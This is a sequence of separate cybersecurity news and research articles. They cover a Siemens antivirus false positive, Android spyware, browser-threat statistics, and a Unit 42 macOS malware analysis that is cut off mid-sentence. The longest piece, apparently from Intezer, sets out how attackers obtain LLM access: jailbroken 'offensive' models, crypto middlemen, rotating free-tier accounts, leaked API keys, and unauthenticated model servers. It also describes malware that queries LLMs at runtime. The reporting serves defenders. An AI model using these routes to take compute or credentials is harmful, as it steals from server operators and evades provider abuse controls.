Siemens is informing customers that patch files for its Desigo CC building management system are erroneously being flagged as malware by multiple cybersecurity solutions. Desigo CC integrates HVAC, lighting, security, fire safety, power, and other building subsystems into a single open platform for centralized monitoring and control. The industrial giant recently learned that patch files released for Desigo CC versions 7 through 9 are being detected as malicious by various antivirus engines, as confirmed by tests on VirusTotal. Siemens says it’s working with cybersecurity vendors to address the inaccurate file classification, but it suspects that the false-positive detections are caused by a PowerShell script compiled as an executable. The script is included in a ‘patchHelper’ shipped with Desigo CC patches. Siemens believes that file system operations, registry modifications, and execution with elevated privileges in the script are considered suspicious or malicious by security engines. Interestingly, the vendor says the script has been the same for several months, but it’s only now being flagged as malicious. “All relevant files were manually compared to the development repositories. No differences or malicious modifications were found. In addition, the digital signatures were verified as valid and showed no indications of manipulation,” Siemens pointed out in its advisory. This is not the first time Siemens has reported issues with third-party cybersecurity solutions. Last year, the company notified customers of a problem affecting Microsoft Defender Antivirus and its Simatic PCS products. Related: Critical HVAC and UPS Vulnerabilities Could Let Hackers Disrupt Data Centers Related: ICS Patch Tuesday: Vulnerabilities Fixed by Siemens, Schneider, Phoenix Contact Related: Real-World ICS Security Tales From the Trenches Related: Critical Vulnerability Exposes Industrial Robot Fleets to Hacking

Arabic-speaking users have emerged as the target of a new Android spyware codenamed Asin, according to findings from ESET. The Slovakian cybersecurity company said it first detected the malware spread via multiple campaigns in early 2025, with each attack wave making use of distinct websites mimicking utilities, war-related updates, and a government news source: govlens[.]net, which impersonates a government news source (registered on May 27, 2025) pdf-reader[.]help, which impersonates a secure PDF editor (registered on May 29, 2025) live-war-map[.]com, which claims to offer updates on military incidents (registered on January 20, 2025) Two of these websites - govlens[.]net and live-war-map[.]com - were also marketed via dedicated accounts on social media platforms like Facebook and Telegram - www.facebook[.]com/GovLens t[.]me/liveuamap_ar "Each of these websites distributes a malicious app that combines legitimate functionality with stealthy spyware capabilities," ESET said. The cybersecurity company noted that the Telegram channel's name is likely inspired by Live Universal Awareness Map (Liveuamap), a legitimate, well-known platform dedicated to mapping ongoing conflicts, human rights issues, natural disasters, and geopolitical events across the world. Multiple artifacts associated with Asin have since been identified, including one uploaded to VirusTotal from Türkiye in October 2025, an APK downloaded from the domain "c-pdf[.]net" in December 2025 by a user on a Xiaomi Redmi Note 13 Pro device running Android 15, and a third sample masquerading as "Syria Defense Map" detected on a Xiaomi Redmi Note 13 Pro+ 5G devices running Android 15 in around mid-January 2026. In the last case, the APK is said to have been downloaded from a website named "syriadefensemap[.]com." It's worth noting that the user is required to manually install the app and grant it the necessary permissions for the spyware to realize its goals. The activity cluster, per ESET, remains unattributed. It's also not known what the primary objectives of these campaigns are. However, based on the lures used, it's suspected that journalists and OSINT researchers in Arabic-speaking regions may have been the target. "Three out of the five fraudulent apps we unearthed - GovLens, WarMap, and Syria Defense Map - seem primarily intended for people interested in open-source investigation," the company said. "It thus seems possible that this set of activities may have been, at least partially, meant to target Arabic-speaking journalists or OSINT practitioners."

Every year, the Verizon Data Breach Investigations Report serves as a ground-truth benchmark for the industry. Its value comes not just from the headline numbers but from the convergence signals: when multiple independent data sources point to the same structural shift in how attackers operate, that convergence is worth paying attention to. This year, as a contributor to the Verizon 2026 DBIR, the Keep Aware team had early visibility into that convergence. This post breaks down the specific areas where the 2026 DBIR data and Keep Aware's own browser telemetry align — and where browser-layer data reveals what network and endpoint tools miss entirely. Shadow AI Has Become a Mainstream Enterprise Risk Shadow AI was identified in the Verizon DBIR as the third most common non-malicious insider action observed in Data Loss Prevention (DLP) datasets, representing a fourfold increase from the previous year. Employees are not typically trying to exfiltrate data; rather, they are using the fastest available tool for a task, which increasingly means pasting internal documents or source code into a personal ChatGPT session before their organization has had time to approve and provision a governed alternative. The scale of unauthorized AI usage in enterprise environments is one of the report’s most significant findings: 67% of users are accessing AI services on corporate devices through personal, non-corporate accounts, and 45% of employees are now considered regular AI users. Keep Aware’s browser telemetry further provides insight into how these AI services are being used. Over half of AI prompt inputs are sent to personal accounts, and 23% of sensitive prompt uploads involve data transiting through personal or unverified accounts (i.e., outside the reach of any corporate DLP policy or logging infrastructure), conveying the real risks of AI usage. Employees are pasting and uploading confidential data into ChatGPT, Gemini, and dozens of other AI tools every day. Keep Aware’s free AI audit shows you exactly what's leaving, and from which apps, before it becomes a breach. Get your free AI audit Credential Abuse and the Browser's Detection Gap The 2026 DBIR found that 39% of breaches involved credential abuse. Keep Aware's attack data from 2025 puts browser-based credential theft as the number one browser-based attack, accounting for approximately 41% of observed threat activity, implying that credential theft in the browser will later contribute to successful future breaches. Compounding this attack vector is the fact that the vast majority of these attacks are invisible to traditional tooling, as our data illustrates. In Keep Aware's analysis, 63% of Microsoft-themed phishing sites were not flagged by any VirusTotal vendor at the time of employee exposure, showing a glaring detection gap in intelligence feeds and endpoint tools. More pointedly, 100% of the credential theft attempts Keep Aware observed passed through existing non-browser security controls unblocked — network proxies, DNS filters, and endpoint agents alike. None of them caught it. The only reliable detection point is inside the browser itself, where the page is rendered and the user interaction actually occurs. Browser Extensions: Privileged, Ungoverned, and Expanding Add-ons can read, modify, and interact with any page’s content, and exfiltrate data from within the browser context, enabling extensions to operate with a level of browser privilege that should dictate regular scrutiny—yet data tells a different story. The 2026 DBIR flagged that the average enterprise had more than 15% of users with unauthorized AI extensions installed. However, the extension problem is broader than AI tooling alone. Keep Aware's extension telemetry additionally shows that 13% of unique browser extensions observed across our customer base were classified as high or critical risk. The more operationally significant finding: 93% of poor-reputation extensions were labeled as "productivity" tools by browser marketplaces — the exact category most allowlisting policies treat as safe. For this threat class, that makes category-based allowlisting functionally useless. ClickFix and Browser-Native Social Engineering Both the 2026 DBIR and Keep Aware's State of Browser Security Report call out ClickFix as an emerging technique worth tracking. The Verizon DBIR found ClickFix accounted for 2.7% of browser-detected attacks—a small share that nonetheless signals an evolution in browser-based social engineering. ClickFix is a deceptive social engineering tactic used to get a user to unknowingly execute malicious code from the browser and on the host machine. This threat begins in the browser—often by encountering compromised websites and sometimes through LLM chat responses—but quickly continues on the endpoint, compromising the machine with info stealers and remote access to attackers. The endpoint bears the impact, but the browser is the social engineering medium—and the first line of defense. The Human Element Continues to be a (Browser) Problem The 2026 DBIR found that 62% of breaches involved the human element, with phishing initiating 16% of incidents. Keep Aware's browser-layer data shows phishing and social engineering accounted for 46% of browser attacks observed across 2025. The human element finding is often framed as a training and awareness problem. But attackers are constantly evolving browser-based social engineering tactics—phishing links to benign intermediary sites, redirect chains, pages that render differently for automated scanners, hosting content on legitimate websites, and silent clipboard injections. Browser-level visibility does not solve the human element problem, but it shifts the detection point to where the human interaction is actually occurring, rather than looking for downstream artifacts after the interaction has already been exploited. What This Means for Security Teams. Shadow AI, credential theft, malicious extensions, and browser-native social engineering techniques like ClickFix share a common characteristic: they all execute inside the browser, and they all produce artifacts that are most visible, if not only visible, at the browser layer. Security programs that rely exclusively on network, endpoint, and identity telemetry will continue to have blind spots in exactly the places attackers have learned to operate. The browser is no longer just an application. For most enterprise users, it is the work environment. Securing it is no longer optional. If your security stack lacks visibility into what's happening inside browser sessions, that gap is worth understanding before attackers exploit it. Request a demo of Keep Aware to see what your current tools are missing Keep Aware contributed data to the Verizon 2026 Data Breach Investigations Report. Keep Aware’s 2026 State of Browser Security Report is available here. Sponsored and written by Keep Aware.

This article is based on joint research with Eran Segal, researcher at Kodem Security. The most capable commercial AI models are now useful enough to attackers that they have become an integral part of their kill chain, in multiple steps. The Cybench benchmark tests models on offensive cyber tasks. Its current top performers (Claude Opus 4.6, Claude Sonnet 4.5, Grok 4) can write functional exploit code, reason through credential chains, and sustain complex reconnaissance workflows: multi-step offensive work that previously required human expertise. Malware families are already using this. Instead of generating a payload offline and shipping it, they wire a live LLM API into the malware itself so it can adapt its behavior at runtime on the infected host. Commercial providers run abuse detection and terminate accounts linked to malicious activity. A payment method creates a paper trail that investigators can follow. So attackers solve the access problem the same way they solve any resource problem: they steal it, find it free, or find it unguarded. This post covers five routes threat actors use to reach LLM inference without paying for it: buying offensive models on underground forums, using front-end models using 3rd party LLM service that allows paying in bitcoin, using free-tier or keyless public APIs, hunting for leaked API keys in developer artifacts, and exploiting self-hosted LLM servers left open on the internet. Method 1: Offensive LLMs and Anonymous Payment Cyber-oriented LLMs sold on underground forums are the most visible route. WormGPT, GhostGPT, KawaiiGPT, and Xanthorox are the most cited examples, covered in depth by Unit 42. These are returned open-weight models or jailbroken wrappers over commercial APIs, marketed specifically as having no content filter. They solve the moderation problem but not the cost problem: access is sold on a subscription basis, and the capability ceiling sits well below that of frontier commercial models. So they are useful for generating phishing content or simple malware stubs, but less so for the kind of autonomous multi-step offensive work that the frontier models in the Cybench ranking are capable of. Method 2: Using Frontier Models Through a Third-Party Service If a threat actor would like to use the frontier models to achieve top performance, they can still use these models using 3rd party services such as PayWithMoon and AIMLAPI. These services sit between the attacker and a commercial LLM provider, accepting cryptocurrency without identity verification and then funding a legitimate provider account on the attacker's behalf. The account itself reaches frontier models, but the funding trail stops at the middleman. The account will still get burned once abuse detection triggers, but replacing it is cheap. The upstream provider has no usable identity to pursue. This is how attackers buy frontier-model access while skipping the paper trail a normal commercial account would leave behind. Method 3: Free-Tier and Keyless Public Inference APIs A cheaper alternative to underground subscriptions exists in plain sight. Most major inference providers publish permanent free tiers that require nothing more than a disposable email address, and a handful of services accept requests with no credentials at all. An attacker who registers for a pool of free-tier accounts gets as meny tokens as he wishes without paying a dime. The scale of the free-tier ecosystem is easy to measure because the community has cataloged it. Public curated lists such as cheahjs/free-llm-api-resources and mnfst/awesome-free-llm-apis explicitly filter for providers that offer a permanent (not trial-credit) free tier with no credit card. Representative entries, with numbers pulled from each provider's own rate-limit documentation: Groq: 30 requests/minute (RPM) on all free-tier models, with requests/day (RPD) caps ranging from 1,000 (for the 70B llama) to 14,400 (for the 8B llama). Cerebras: 30 RPM, 14,400 RPD, and roughly 1M tokens/day on three of the four free-tier models (gpt-oss-120b, llama3.1-8b, qwen-3-235b). Cohere: 20 RPM on the Chat API and a hard cap of 1,000 total API calls/month on a trial key. Mistral La Plateforme: 1B tokens/month on the Experiment plan. No credit card is required, but a verified phone number is required, which is the highest sign-up friction in this group. HuggingFace: Free accounts are rate-limited on both the Hub API and the Inference API per 5-minute window. Anonymous per-IP access exists but is stricter than the free-account path. OpenRouter: 50 free model RPD with no deposit at all, and 1,000 RPD after a one-time $10 top-up that is never spent against model usage. SambaNova: 20 RPM and 20 RPD, with a 200,000 tokens/day cap. The tightest daily request ceiling in this group by a wide margin. These providers differ in rate limits, models, and throughput. What they share is that a usable credential requires nothing more than a disposable email address (a phone number in Mistral's case) and no payment method. Credentials can simply be rotated when limits are reached. The fully keyless end of the spectrum is thinner, but it exists. Pollinations.ai exposes an OpenAI-compatible endpoint that accepts requests with no authentication for basic use. DuckDuckGo's Duck.ai anonymizes browser-based access to Claude 3.5 Haiku, Llama 4 Scout, Mistral Small 3, GPT-5 mini, and GPT-4o mini with no account at all. These services are not designed for bulk programmatic use, but they are reachable from any HTTP client, and the only cost is rate-limit friction. Among the malware families in the intro table, LameHug/PROMPTSTEAL is the cleanest example of this route in the wild: it calls HuggingFace's Inference API for Qwen 2.5-Coder-32B-Instruct to drive reconnaissance and data theft, with no embedded credentials reported by Splunk. Whether the malware carries a token or registers one at runtime is not established, but either way, the enabling property is HuggingFace's no-credit-card free tier. Method 4: Exposed API Keys The fourth route to free model access doesn't require finding an exposed server at all. Developers routinely hardcode credentials directly into apps, config files, and scripts. These credentials can be found in GitHub in open-source projects, while closed-source projects contain the credentials in the app itself. These artifacts are submitted to VirusTotal when apps are submitted for malware analysis. It can be an APK, ELF, EXE, or any type of artifact shipped with the product. To find them systematically, we wrote a YARA rule targeting the key formats of the major AI providers: Google Gemini (AIzaSy…), OpenAI (sk-…), Anthropic (sk-ant-…), HuggingFace (hf_…), Replicate, Mistral, Cohere, Groq, and several others. We ran the rule as a retrohunting query across the VirusTotal corpus, collected the matching sample hashes, then pulled the raw files and ran a regex extraction pass to extract every key-value pair, provider, and surrounding code context. From there, we enriched each sample with VirusTotal metadata to understand detection rates and file types. The final step was validation: a lightweight GET request against each provider's model-list or whoami endpoint. No prompts sent, just a check of whether the key authenticates. The corpus yielded 647 unique keys across all providers. Roughly 62% were Google Gemini (AIzaSy…) keys. That concentration traces back to the Android developer ecosystem, where apps built for translation, search, or chatbot features commonly bundle the key directly in compiled resources or Java code. HuggingFace keys made up about 11%, Replicate about 8%, OpenAI sk- keys about 7%, and the remaining share was split across Voyage (5%), Mistral (3%), and Cohere (3%), with trace amounts of Anthropic, Groq, and OpenAI environment-style keys. The Mistral and Cohere keys concentrated heavily in a single file: a cracked "Collins Italian Dictionary MOD" Android APK that bundled 20 Mistral keys and 15 Cohere keys alongside 2 Gemini keys, with the small remainder scattered across two versions of a Ubisoft game APK. About 65% of the 659 unique samples are confirmed Android by VirusTotal's type classification. Another 18% are ZIP archives that follow the same submission pattern but were not explicitly tagged as Android. The true APK share sits between 65% and 84%. The remainder consisted of Windows PE files (5%), HTML pages, Python scripts, plain-text credential dumps, and a handful of Mach-O and ELF binaries. That Android skew isn't surprising. APKs are frequently submitted to VirusTotal for modding and repackaging, and their keys remain intact after decompilation. We submitted research samples to Intezer Analyze for code-based attribution, and three entries stand out. Four samples whose filenames suggested Akira ransomware are three Mimikatz binaries (1, 2, 3) and one malicious binary without family attribution, all credential-dumping tools that happened to carry API keys. The sample with a HuggingFace key is SolarMarker, an SEO-poisoning backdoor with infostealer capability. A Windows binary named SystemSettings.exe contained OpenAI, Replicate, and Voyage keys; the multi-key combination is more consistent with theft from a developer's machine than with intentional hardcoding. When we ran the validation, almost all the keys were dead. The revocation rate was approximately 99.5%, consistent with a corpus skewed toward older samples that had been on VirusTotal long enough to be detected, rotated, or simply expired. The small fraction that remained live consisted entirely of Google Gemini keys from Android APKs. All appeared to be genuine developer mistakes rather than exfiltrated credentials: a key embedded in a const in bundled JavaScript, one in a logging module in a compiled Android class, and one in a utility app's APK resources. Those three keys have been reported to Google. The method also illustrates why embedding API keys in client software is a particularly bad idea. Extracting a key from an APK requires a decompiler, and APKs have a reliable path to VirusTotal: users submit them for malware checks, repackaged versions circulate through third-party stores, and cracked builds get flagged automatically. The near-total revocation rate strongly suggests that LLM providers scan VirusTotal for their own key formats and automatically revoke matches. The three keys that were still live were all recent submissions, not yet caught by that sweep. If that pipeline exists, embedding a key in client-side code is not just a security mistake, but a futile one, and the key will likely be dead before it can be abused at scale. The takeaway for an attacker is that hunting VirusTotal for hardcoded keys is low-effort but low-yield. The more durable access method is the exposed LLM server. A server running vLLM (a popular open-source LLM inference framework) or an open Ollama instance requires no authentication, doesn't rotate anything while in use, and the owner usually doesn't know it's happening. Method 5: Hack Public LLM Hosting Servers Self-hosted LLM platforms make it easy to run your own models on your infrastructure, and that same ease extends to anyone who can access the port. Most ships have no authentication by default and expose administrative endpoints that let a stranger list installed models, queue inference jobs, load new models from remote URLs, or, in several cases, execute code on the host. When the server is exposed to the public internet, the attacker does not need a stolen key or a forum subscription. The victim is paying the GPU bill, carrying the API-key spend, or hosting the RCE. We scanned roughly 4,500 hosts across eleven of them. Every service had open instances, and 14 LocalAI hosts showed active compromise based on attacker-loaded model names consistent with a single automated campaign. The sections below cover what each platform is, how exposure gets abused, and what the scan found in the wild. Ollama Ollama runs open-weight LLMs locally. By default, it binds to 127.0.0.1, and the authentication is disabled. But setting OLLAMA_HOST=0.0.0.0 is a common step when accessing it from another machine on the network or from a frontend app running in a separate container. It exposes all interfaces, and anyone reaching it’s port gets full API, model management, and hardware access. SentinelOne Labs and Censys already published the definitive survey, documenting 175,000+ hosts chained into anonymous AI networks for free text, embedding, and bulk content generation on victim hardware. That pattern is now commercialized by Operation Bizarre Bazaar, which sells subscription access to a unified LLM gateway fronted by stolen Ollama endpoints, turning ad-hoc LLMjacking into a growing concern. LocalAI LocalAI is an OpenAI API-compatible model server supporting LLMs, image generation, speech, and transcription. Authentication is disabled by default. It also supports remote model installation, P2P distributed serving, and a built-in agent platform with support for MCP. Of all the services in this research, it has the widest attack surface. Of all the hosts scanned, 55% were confirmed open, the highest absolute count in this group. About 24% are API proxies with live upstream keys for OpenAI, Anthropic, and Google accessible to anyone who can reach the host. The most striking finding is evidence of automated exploitation at scale. About 21% of confirmed hosts carry model names with a consistent signature tied to ProjectDiscovery's nuclei scanner templates, with per-run timestamps mapping to late March and early April 2026. The pattern is consistent with automated scanning for an unauthenticated remote code execution path, in which a malicious URL supplied during model installation triggers server-side code execution. The exploit payload appears to load a small publicly available Italian-language model as a "hello world" confirmation, which recurs on every affected host. The markers not being cleaned up argue against mature attacker tradecraft. Operators running LocalAI can open /v1/models on their own host: any nuclei-rce-* or rce_ identifier is not human-chosen and indicates this campaign hit them. Langflow Langflow is a visual builder for multi-agent AI pipelines, widely used to prototype RAG systems and chatbots. Flows routinely embed hardcoded credentials: OpenAI and Anthropic API keys, database connection strings, Slack tokens, and webhook secrets. Anyone who can reach the host and read a flow config has all of them. Unlike the previous examples, this app does not have a known major misconfiguration, but it does not prevent attackers from being able to hack and gain access to this service. For example, two unauthenticated RCE bugs make reaching the config trivial: CVE-2025-3248:on the CISA KEV list, reliably patched only in 1.6.4+ CVE-2026-33017: fixed in 1.9.0, exploited in the wild within 20 hours of disclosure. Every confirmed host in our scan ran a version vulnerable to CVE-2026-33017; about 72% were also vulnerable to CVE-2025-3248. Several hosts didn’t authenticate at all, with flows, credentials, and both RCE paths openly accessible. Code execution on the Langflow host is the small prize. The keys inside the flows pivot to everything the workflows connect to. n8n n8n is a low-code workflow automation platform with 400+ service connectors and code execution nodes (workflow steps that run arbitrary scripts). It has the strongest default auth posture of any service in this research: User Management is enforced on fresh installs. But it does not prevent attackers from actively gaining access to n8n. Vulnerabilities such as CVE-2026-21858 ("Ni8mare", CVSS 10.0, fixed in 1.121.0), which is a vulnerability in the web hooks request handling that turns exposed endpoints into a full unauthenticated RCE surface via content-type confusion, with a public PoC already out. Prior research estimates the exposed n8n population at tens of thousands of hosts. The post-exploitation story mirrors Langflow. Workflows carry hardcoded API keys, database connection strings, and webhook secrets. RCE on the n8n host effectively gives access to every system the automations touch. vLLM vLLM is a high-throughput LLM serving engine with GPU acceleration, commonly used to self-host open-weight models in production. It exposes an OpenAI-compatible REST API. Authentication requires an explicit --api-key flag; without it, the API is open. The interesting finding from our scan was not vLLM itself but the adjacent deployments surfaced by the same query: OpenAI-compatible HTTP proxies, specifically LiteLLM-style gateways that aggregate multiple paid providers behind a single endpoint. These proxies store live API keys for OpenAI, Anthropic, Google, Groq, and Cohere. None had protection on the model list endpoint. One host exposed 35 models across multiple providers; several listed exclusively Anthropic Claude models. A proxy returns a model list only when the upstream provider authenticates, so every successful response confirms the underlying keys are live and billable. The abuse path is trivial: point any standard OpenAI SDK client at the proxy, enumerate the models, and, on hosts where prompt submission is also unprotected, send requests billed to the operator's accounts. It is the same credential-pivot pattern as Langflow and n8n. ComfyUI ComfyUI is a node-based workflow UI for Stable Diffusion, video generation, and multimodal image models. It runs on high-end GPU hardware with no authentication by default, making it a direct target for attackers looking to steal GPU compute. Our scan found open instances across a wide range of versions (v0.2.2 to 0.19.0), all of which were fully unauthenticated. The hardware exposure is the headline finding. Open hosts reported a combined ~4.3 TB of GPU VRAM, with cards ranging from RTX 4090s and RTX 5090s to datacenter-grade A100S and L40S units, each worth tens of thousands of dollars. An attacker can queue generation jobs against any of them at no cost. Beyond compute theft, 95% of open hosts expose a job history endpoint that leaks previously executed workflows, local file paths, and prior user content. About 12% advertise URL-loading nodes that act as server-side request forgery primitives: usable for internal network reconnaissance or cloud metadata credential theft. llama.cpp server llama-server is the HTTP server shipped with llama.cpp, commonly used to serve a single open-weight model in production. It has no authentication by default, no access controls on the inference endpoint, and a metadata endpoint that advertises exactly what the host is running. Anyone who reaches the port can submit prompts, watch active jobs, and burn the operator's GPU on their own workload. Classic LLMjacking, with the bonus of knowing exactly which model they are running. Of scanned hosts, 59% were confirmed open, more than any other platform in the scan. Everyone exposed its model name and hardware configuration, and about 37% also leaked real-time job state, confirming the host was actively serving users at the time of the scan. The models observed were standard open-weight builds rather than anything exotic, which is the point. An attacker is not looking for a rare model, just an unattended GPU. Jan Jan is an Electron desktop AI app with an optional OpenAI-compatible API server on port 1337. When enabled, it binds to all interfaces with no authentication. Jan is a useful example of how exposure surfaces unexpected content rather than how common it is. Our scan confirmed only two genuine Jan hosts. Both had gone offline by the rescan a week later. While one was live, it exposed a 35-model library that included miqu-70b; a leaked Mistral Medium prototype that was never officially released. When a desktop app binds its API server to the public internet, whatever model (or file path metadata) sits on the operator's disk becomes visible. Gradio Gradio is a Python framework for building ML demo apps: image classifiers, code interpreters, document Q&A, or anything a researcher can wrap in a web UI. Exposure risk depends entirely on what the underlying app does. A sentiment-analysis demo is low-stakes. An app that accepts file uploads, runs user code, or queries a database is a direct path to exploitation. The Gradio queue keeps processing submitted requests whether the operator is watching or not, so abuse can run quietly for days. Three unauthenticated bugs make unpatched instances worse: CVE-2024-47084: CORS validation bypass, fixed in 4.44.0; a malicious website can reach a locally running Gradio server while the victim is still logged in Ranking the Five Routes Each route carries operational trade-offs. The table below scores each on five dimensions, ranging from 0 (least favorable) to 5 (best for attacking): non-resistance (refusal behavior in response to offensive prompts), model capability (coding ability and parameter count), tool and MCP support, and effective token quota. Offensive LLMs score highest on non-resistance. But the underground-forum variants sit well below frontier models in capability and tool support, and subscriptions cap the quota. The crypto-middleman variant reaches frontier models via real provider accounts, but those accounts burn quickly once abuse is detected. Crypto payment for frontier models is for sure the best way to gain access for the most capable models with the ability to connect the model to any interface, such as MCPs, but it comes with some risks that the model might resist the action or the user will be blocked. Free-tier and keyless public APIs score well in capability and tool support, with full-function calling across most providers. The per-account quota is modest, tens of RPM, thousands of RPD, but trivial account rotation pushes the effective quota well above the face value. Stolen or leaked API keys, in principle, offer the best combination of capability and tool support; the retrohunt's 0.5% live rate shows the real-world quota is near zero. Exposed LLM servers score highest on non-resistance and token quota. Non-resistance is unconstrained: the attacker controls model selection, and our scan found at least one LM Studio host actively serving llama3.3-8b-instruct-thinking-heretic-uncensored-claude-4.5-opus-high-reasoning-i1. Token quota is equally unconstrained, bounded only by the victim's hardware rather than a billing cap. Capability and tool support vary by host, but that variance is what makes the route durable at scale. No individual host needs to run a frontier model. The scoring explains why exposed servers are the most durable route, even though they don't top every dimension. They are the only route where non-resistance and token quota both max out. The other three are each compromised on at least one of those two axes. Cases Found in the Wild Threat actors are now wiring malware to live LLM APIs, using them to generate malicious logic at runtime rather than embedding static code in the payload. Instead of scripting separate execution flows for different host conditions, the malware queries an LLM while running, determines whether the target appears to be a personal machine, a server, or an industrial controller, and then generates tailored commands or code accordingly. This shift matters because dynamically generated logic has no fixed signature to detect. Researchers have identified five malware families doing this. MalTerminal and PROMPTFLUX both use a hardcoded API key to connect to a commercial provider when needed. MalTerminal uses OpenAI GPT-4 via the now-retired chat-completions endpoint to create reverse shells or ransomware. PROMPTFLUX connects to Google gemini-1.5-flash-latest to rewrite its own VBScript source code between runs, making it harder to detect. LameHug, also known as PROMPTSTEAL, uses HuggingFace's Inference API to run Qwen 2.5-Coder-32B-Instruct for Windows commands to support reconnaissance and data theft. HuggingFace requires an API token for each request, but free accounts don't need a payment method and allow a few hundred requests per hour per API token. Attackers can easily create and rotate these API tokens, giving them the same access as stolen keys but with less hassle. PROMPTLOCK is a proof-of-concept AI-powered ransomware prototype, often called "Ransomware 3.0," developed by researchers at NYU's Tandon School of Engineering. The Go binary invokes gpt-oss-20b via a local Ollama API running on the infected host to generate Lua scripts that perform file listing, encryption, exfiltration, and (unfinished) wipe logic. This is a bring-your-own-model: no outbound calls, no provider-side billing trail, and no way to scale beyond the victim's own hardware. QUIETVAULT is a credential-theft variant. The JavaScript stealer exfiltrates GitHub and NPM tokens to an attacker-controlled GitHub repo and then hands off the filesystem search for additional secrets to whatever AI CLI is already installed on the victim, so the stolen credentials are an active on-host AI session rather than a bare API key. Looking at the four main routes discussed in this post, LameHug/PROMPTSTEAL is the best example of the free-tier method, since it calls HuggingFace's Inference API directly. MalTerminal and PROMPTFLUX both use hardcoded API keys, but it's unclear where those keys came from, so they could fit into the free-tier, crypto-middleman, or stolen-keys categories. QUIETVAULT is a twist on the stolen-credential method, using an on-host AI session instead of just a key. PROMPTLOCK is different because it uses a local model and only works on one victim at a time, so it doesn't fit into the four main routes and isn't discussed further. Across four routes: offensive LLMs for sale, free-tier and keyless public APIs, hardcoded keys in distributed artifacts, and exposed LLM servers on victim infrastructure, the most durable access is the last one. The precondition for abuse is almost never a sophisticated exploit. It is an unauthenticated port facing the internet. AI is the defining technology of this moment. It extends what a single person or small team can do and accelerates work that used to take weeks. AI is being integrated into more and more areas, from personal agents and email writing to some vulnerability research. The wow factor is real. But an LLM server is still a service running on a host. It listens on a port, speaks a protocol, and has an attack surface. The failure modes in this report; misconfiguration, leaked credentials, unpatched CVEs, open ports, are the same ones that produced years of incidents on Docker, Kubernetes, cloud storage, Redis, Elasticsearch, and bare Linux servers. The tooling is new. The mistakes are not. Two things follow. The operator is still responsible for the basics: authenticate the service, keep it off the public internet unless there is a reason to expose it, patch the known CVEs, and audit what is running. These are not AI-specific requirements. They are the same ones we have been making for every networked service. An exposed Ollama instance serving a stranger's prompts is not a failure of the model or the vendor that shipped it. It is a failure of whoever put it on the internet without a password. You broke it. You pay for it. IOCs Nicole Fishbein Nicole is a senior security researcher and malware analyst at Intezer. Prior to this, she was an embedded researcher in the IDF Intelligence Corps.

We are tracking an increasingly widespread malvertising campaign targeting macOS. This campaign appears to be the next stage of a previous campaign known as JSCoreRunner, which was first identified in August 2025. In recent months, the financially-motivated attackers behind these campaigns transitioned from delivering standard adware, to delivering adware with full backdoor capabilities. We designate this campaign Operation FlutterBridge, and we call the payload that it delivers FlutterShell. Built using the Flutter framework, FlutterShell infects targets with adware via malicious desktop applications. In addition to its adware functionality, the payload possesses backdoor capabilities, including shell command execution and file system manipulation. Some variants weaponize artificial intelligence (AI) summarization features for data exfiltration by routing documents through an attacker-controlled server before processing them. The FlutterShell malware strain appears to be under active development, with new improvements being rapidly integrated into the code. Operation FlutterBridge targets a global audience through an extensive Google Ads campaign, with an emphasis on Anglophone and Western European markets, distributed via hundreds of Google-verified advertisements. Our research indicates that the attackers behind this cluster distributed the ads using a series of shell companies, to bypass ad-network vetting and orchestrate these attacks at scale. We reported these advertisers to Google, which provided the following statement: Malware has no place on our platforms, and we’ve suspended these advertiser accounts for violating our policies. We track Operation FlutterBridge and the JSCoreRunner campaign under a cluster of activity that we refer to as CL-CRI-1089. This article provides a technical overview of the FlutterShell macOS malware and the delivery network behind the malvertising campaigns. Palo Alto Networks customers are better protected from the threats described in this article through the following products and services: Advanced WildFire Advanced URL Filtering and Advanced DNS Security Cortex Agentix Threat Intel Agent Cortex XDR and XSIAM If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. CL-CRI-1089 is a cybercrime cluster of activity that has been operational since at least 2023. The attackers behind this cluster are responsible for spreading malicious payloads via malvertising campaigns, targeting both Windows and macOS users through separate, ongoing operations. The attackers’ modus operandi is consistent across these operations: They distributed malicious advertisements using a network of Google-verified shell companies. These ads were designed to trick targets into deploying malware that masquerades as legitimate desktop applications. While in-the-wild observations suggest the malware functions primarily as adware, it possesses capabilities for far more dangerous behavior, effectively functioning as a backdoor. Operations attributed to this cluster include the RecipeLister and Calendaromatic Windows campaigns, as well as the JSCoreRunner macOS campaign. The Windows activity was previously tracked by other vendors under the broader “TamperedChef” designation, before Unit 42 researchers deconstructed the activity into distinct clusters. In late 2025, the attackers expanded their operations with Operation FlutterBridge, deploying a new macOS backdoor identified as FlutterShell. FlutterShell is a macOS backdoor developed using the Flutter framework and designed to masquerade as legitimate software. FlutterShell’s authors implemented a WebView-based architecture that utilizes a JavaScript-to-native bridge. This design allows the attackers to host malicious logic on an external website, rather than hardcoding it into the binary. This enables the attackers to dynamically alter FlutterShell's behavior in real time, without needing to recompile or redistribute the application. FlutterShell has a set of built-in commands that provide attackers with the following capabilities: Arbitrary command execution File system interaction Environment variables exfiltration During our investigation, we observed FlutterShell being used as adware. Upon execution, the malware modifies Google Chrome configuration files to hijack the browser, forcing all traffic through an attacker-controlled, ad-filled intermediary site. We identified several versions of FlutterShell that did not yet contain malicious code. Additionally, an examination of the JavaScript logic hosted on the attackers’ infrastructure revealed multiple unfinished functions. These findings, combined with the frequent appearance of new variants, indicate that the malware is likely under active development. The use of the Flutter framework presents specific analytical hurdles. The Flutter engine compiles Dart code into a dynamic library and uses an Object Pool to store data. This separates the code from the strings and variables it uses, making it difficult for security analysts to see how the malware actually functions. This feature also makes tracing the execution flow of a Flutter application via static analysis particularly challenging. To overcome these challenges, we used a custom version of Worawit Wangwarunyoo's blutter tool to disassemble the Dart binary and reconstruct the application logic. We encountered three versions of FlutterShell in which the malware posed as a podcast player and two different PDF viewers. These desktop applications were fully functional, effectively concealing the malicious logic executing in the background. Figure 1 shows two of the applications on macOS hosts. All observed samples were signed with valid Apple Developer IDs and successfully passed notarization, meaning Apple's automated security checks did not flag them as malicious at the time of submission. Figure 2 shows the legitimate signature of FlutterShell’s binaries and its successful notarization by Apple. At the time of analysis, all three applications containing FlutterShell had zero detections on VirusTotal, as shown in Figure 3 for the PodcastsLounge application. The FlutterShell backdoor logic is not hardcoded into the binary. Instead, FlutterShell employs a WebView-based architecture utilizing a JavaScript-to-native bridge. In WebView-based architecture, a native application uses an embedded web browser component to display content. The JavaScript-to-native bridge acts as a communication channel between this web content and the host native application, allowing them to exchange data and cross-invoke functionality. Consequently, the malicious logic of FlutterShell is stored on the attackers’ website and is only triggered when the application loads the specific web content. Figure 4 demonstrates how the application converts web content to native commands. Upon initial execution, FlutterShell waits for a 